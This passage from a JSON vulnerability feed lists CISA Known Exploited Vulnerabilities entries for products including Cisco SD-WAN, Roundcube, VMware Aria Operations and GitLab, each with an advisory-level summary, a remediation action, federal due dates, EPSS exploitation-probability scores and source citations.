unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01955,"percentile":0.80131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-41974","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-41974 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-41974, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-43000","cveId":"CVE-2023-43000","aliases":[],"kind":"vulnerability","title":"Apple Multiple products Use-After-Free Vulnerability","summary":"Apple macOS, iOS, iPadOS, and Safari 16.6 contain a use-after-free vulnerability due to the processing of maliciously crafted web content that may lead to memory corruption.","detail":"CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-05","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-05","dueAt":"2026-03-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04042,"percentile":0.90545,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-43000","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-43000 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-43000, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21385","cveId":"CVE-2026-21385","aliases":[],"kind":"vulnerability","title":"Qualcomm Multiple Chipsets Memory Corruption Vulnerability","summary":"Multiple Qualcomm chipsets contain a memory corruption vulnerability while using alignments for memory allocation.","detail":"CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-03","updatedAt":null,"regions":["Global"],"vendor":"Qualcomm","product":"Multiple Chipsets","stacks":["Qualcomm chipsets","Qualcomm","Multiple Chipsets"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-03","dueAt":"2026-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01293,"percentile":0.70085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21385","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21385 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21385, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-22719","cveId":"CVE-2026-22719","aliases":[],"kind":"vulnerability","title":"Broadcom VMware Aria Operations Command Injection Vulnerability","summary":"Broadcom VMware Aria Operations formerly known as vRealize Operations (vROps) contains a command injection vulnerability that allows an unauthenticated attacker to execute arbitrary commands, potentially leading to remote code execution during support‑assisted product migration.","detail":"CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-03-03","updatedAt":null,"regions":["Global"],"vendor":"Broadcom","product":"VMware Aria Operations","stacks":["VMware","Broadcom","VMware Aria Operations"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-03-03","dueAt":"2026-03-24","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18321,"percentile":0.97202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-22719","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-03-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-22719 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-22719, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-20775","cveId":"CVE-2022-20775","aliases":[],"kind":"vulnerability","title":"Cisco SD-WAN Path Traversal Vulnerability","summary":"Cisco SD-WAN CLI contains a path traversal vulnerability that could allow an authenticated local attacker to gain elevated privileges via improper access controls on commands within the application CLI. A successful exploit could allow the attacker to execute arbitrary commands as the root user.","detail":"CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2026-02-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"SD-WAN","stacks":["Cisco","SD-WAN"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-25","dueAt":"2026-02-27","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12475,"percentile":0.96188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20775","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20775 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20775, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20127","cveId":"CVE-2026-20127","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Controller and Manager Authentication Bypass Vulnerability","summary":"Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, contain an authentication bypass vulnerability could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric.","detail":"CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","publishedAt":"2026-02-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Controller and Manager","stacks":["Cisco","Catalyst SD-WAN Controller and Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-25","dueAt":"2026-02-27","action":"Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89294,"percentile":0.9978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20127","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20127 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20127, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-25108","cveId":"CVE-2026-25108","aliases":[],"kind":"vulnerability","title":"Soliton Systems K.K FileZen OS Command Injection Vulnerability","summary":"Soliton Systems K.K FileZen contains an OS command injection vulnerability when an user logs-in to the affected product and sends a specially crafted HTTP request.","detail":"CISA added this entry on 2026-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-24","updatedAt":null,"regions":["Global"],"vendor":"Soliton Systems K.K","product":"FileZen","stacks":["Soliton Systems K.K","FileZen"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-24","dueAt":"2026-03-17","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05249,"percentile":0.92482,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-25108","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-25108 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-25108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-49113","cveId":"CVE-2025-49113","aliases":[],"kind":"vulnerability","title":"RoundCube Webmail Deserialization of Untrusted Data Vulnerability","summary":"RoundCube Webmail contains a deserialization of untrusted data vulnerability that allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php.","detail":"CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-20","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-20","dueAt":"2026-03-13","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99707,"percentile":0.99951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-49113","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-49113 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-49113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-68461","cveId":"CVE-2025-68461","aliases":[],"kind":"vulnerability","title":"RoundCube Webmail Cross-site Scripting Vulnerability","summary":"RoundCube Webmail contains a cross-site scripting vulnerability via the animate tag in an SVG document.","detail":"CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-20","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-20","dueAt":"2026-03-13","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27407,"percentile":0.98052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-68461","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-68461 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-68461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22175","cveId":"CVE-2021-22175","aliases":[],"kind":"vulnerability","title":"GitLab Server-Side Request Forgery (SSRF) Vulnerability","summary":"GitLab contains a server-side request forgery (SSRF) vulnerability when requests to the internal network for webhooks are enabled.","detail":"CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-18","updatedAt":null,"regions":["Global"],"vendor":"GitLab","product":"GitLab","stacks":["GitLab"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-18","dueAt":"2026-03-11","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53372,"percentile":0.98979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22175","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22175 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22175, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-22769","cveId":"CVE-2026-22769","aliases":[],"kind":"vulnerability","title":"Dell RecoverPoint for Virtual Machines (RP4VMs) Use of Hard-coded Credentials Vulnerability","summary":"Dell RecoverPoint for Virtual Machines (RP4VMs) contains an use of hard-coded credentials vulnerability that could allow an unauthenticated remote attacker to gain unauthorized access to the underlying operating system and root-level persistence.","detail":"CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-18","updatedAt":null,"regions":["Global"],"vendor":"Dell","product":"RecoverPoint for Virtual Machines (RP4VMs)","stacks":["Dell","RecoverPoint for Virtual Machines (RP4VMs)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-18","dueAt":"2026-02-21","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13525,"percentile":0.96425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-22769","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-22769 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-22769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-0015","cveId":"CVE-2008-0015","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Video ActiveX Control Remote Code Execution Vulnerability","summary":"Microsoft Windows Video ActiveX Control contains a remote code execution vulnerability. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user.","detail":"CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-17","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-17","dueAt":"2026-03-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76576,"percentile":0.99538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-0015","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-0015 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-0015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-7796","cveId":"CVE-2020-7796","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery vulnerability if WebEx zimlet installed and zimlet JSP is enabled.","detail":"CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-17","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-17","dueAt":"2026-03-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93592,"percentile":0.9984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-7796","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-7796 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-7796, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-7694","cveId":"CVE-2024-7694","aliases":[],"kind":"vulnerability","title":"TeamT5 ThreatSonar Anti-Ransomware Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"TeamT5 ThreatSonar Anti-Ransomware contains an unrestricted upload of file with dangerous type vulnerability. ThreatSonar Anti-Ransomware does not properly validate the content of uploaded files. Remote attackers with administrator privileges on the product platform can upload malicious files, which can be used to execute arbitrary system commands on the server.","detail":"CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, 